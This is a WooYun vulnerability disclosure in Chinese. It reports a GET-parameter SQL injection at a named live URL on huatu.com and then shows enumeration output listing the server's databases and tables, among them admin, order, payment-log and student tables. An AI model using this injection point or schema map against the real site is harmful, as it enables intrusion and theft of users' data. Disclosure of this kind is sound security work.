WooYun.org

注入点：http://1dui1.huatu.com/index.php/FaceList/index/?province=14
GET类型注入。
available databases [11]:
[*] HTOL_Card
[*] HTOL_DaSai
[*] HTOL_Study
[*] HTOLMain
[*] lumigent
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
Database: pubs
[12 tables]
+-----------------------------+
| authors |
| bin_dir |
| discounts |
| employee |
| jobs |
| pub_info |
| publishers |
| roysched |
| sales |
| stores |
| titleauthor |
| titles |
+-----------------------------+
Database: HTOLMain
[44 tables]
+-----------------------------+
| 360cps |
| AliPay_Cash_Log |
| Branch_School |
| Card_Msyy |
| ChunJie_YouhuiInfo |
| Cl_Admin |
| Cl_Ads |
| Cl_Announce |
| Cl_Article |
| Cl_BankrollItem |
| Cl_CardFree |
| Cl_CardFreeNum |
| Cl_Channel |
| Cl_Class |
| Cl_Comment |
| Cl_ConsumeLog |
| Cl_Course_Price |
| Cl_CreateFiles |
| Cl_DeliverItem |
| Cl_DeliverType |
| Cl_Favorite |
| Cl_Friend |
| Cl_Guest |
| Cl_Js |
| Cl_Keyword |
| Cl_Label |
| Cl_LinkClass |
| Cl_LinkConfig |
| Cl_LinkSite |
| Cl_MKCard |
| Cl_Message |
| Cl_Movie |
| Cl_NoDownLoad |
| Cl_Order |
| Cl_Order_History |
| Cl_acclog |
| activelink |
| bishi_StudentInfo |
| choujiangKU |
| choujiangMD |
| choujiangMD2 |
| city |
| cl_list |
| cl_newpermissions |
+-----------------------------+
Database: master
[12 tables]
+-----------------------------+
| MSreplication_options |
| dtproperties |
| monitor20140321 |
| spt_datatype_info |
| spt_datatype_info_ext |
| spt_fallback_db |
| spt_fallback_dev |
| spt_fallback_usg |
| spt_monitor |
| spt_provider_types |
| spt_server_info |
| spt_values |
+-----------------------------+
Database: Northwind
[13 tables]
+-----------------------------+
| Categories |
| CustomerCustomerDemo |
| CustomerDemographics |
| Customers |
| EmployeeTerritories |
| Employees |
| Orders |
| Products |
| Region |
| Shippers |
| Suppliers |
| Territories |
| Order Details |
+-----------------------------+
Database: msdb
[77 tables]
+-----------------------------+
| RTblClassDefs |
| RTblClassExtension |
| RTblDBMProps |
| RTblDBXProps |
| RTblDTMProps |
| RTblDTSProps |
| RTblDatabaseVersion |
| RTblEQMProps |
| RTblEnumerationDef |
| RTblEnumerationValueDef |
| RTblGENProps |
| RTblIfaceDefs |
| RTblIfaceHier |
| RTblIfaceMem |
| RTblMDSProps |
| RTblNamedObj |
| RTblOLPProps |
| RTblParameterDef |
| RTblPropDefs |
| RTblProps |
| RTblRelColDefs |
| RTblRelshipDefs |
| RTblRelshipProps |
| RTblRelships |
| RTblSIMProps |
| RTblScriptDefs |
| RTblSites |
| RTblSumInfo |
| RTblTFMProps |
| RTblTypeInfo |
| RTblTypeLibs |
| RTblUMLProps |
| RTblUMXProps |
| RTblVersionAdminInfo |
| RTblVersions |
| RTblWorkspaceItems |
| backupfile |
| backupmediafamily |
| backupmediaset |
| backupset |
| log_shipping_databases |
| log_shipping_monitor |
| log_shipping_plan_databases |
| log_shipping_plan_history |
| log_shipping_plans |
| log_shipping_primaries |
| log_shipping_secondaries |
| logmarkhistory |
| mswebtasks |
| restorefile |
| restorefilegroup |
| restorehistory |
| sqlagent_info |
| sysalerts |
| syscachedcredentials |
| syscategories |
| sysdbmaintplan_databases |
| sysdbmaintplan_history |
| sysdbmaintplan_jobs |
| sysdbmaintplans |
| sysdownloadlist |
| sysdtscategories |
| sysdtspackagelog |
| sysdtspackages |
| sysdtssteplog |
| sysdtstasklog |
| sysjobhistory |
| sysjobs |
| sysjobschedules |
| sysjobservers |
| sysjobsteps |
| sysnotifications |
| sysoperators |
| systargetservergroupmembers |
| systargetservergroups |
| systargetservers |
| systaskids |
+-----------------------------+